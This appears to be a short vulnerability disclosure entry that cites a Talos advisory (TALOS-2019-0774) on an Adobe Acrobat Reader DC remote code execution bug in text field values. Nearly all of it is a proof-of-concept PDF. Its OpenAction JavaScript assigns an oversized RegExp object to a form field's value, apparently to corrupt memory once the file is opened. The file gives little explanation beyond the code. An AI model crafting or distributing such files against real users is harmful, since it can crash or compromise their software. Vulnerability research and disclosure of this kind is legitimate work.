Info
From Talos :
Adobe Acrobat Reader DC text field value remote code execution vulnerability — redux
PoC
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| %PDF-1.5
1 0 obj
<<
/Kids
[<<
/Annots
[<<
/Subtype /Text
/Rect[0 0 0 0]
/Subj (Hello World!)
>>
<<
/Subtype /Text
/Rect[0 0 0 0]
/Subj (Hello zzzWorld!)
>>]
/Parent 1 0 R
/Contents[3 0 R]
>>]
/Resources<<>>
>>
%endobj
3 0 obj<<>>
stream
BT/F1 105 Tf 0 400 Td(Adobe Reader)Tj ET
endstream
endobj
trailer
<<
/Root
<<
/AcroForm
<<
/Fields
[
<<
/Rect[10 10 10 10]
/Subtype/Widget
/T(mytext)
/V(this is a text)
/FT/Tx
>>
]
>>
/OpenAction
<<
/S /JavaScript
/JS(
var r = new RegExp(Array(32770).join(String.fromCharCode(24)));
this.getField('mytext')['value'] = r;
)
>>
/Pages 1 0 R
>>
>>
|
Reference
TALOS-2019-0774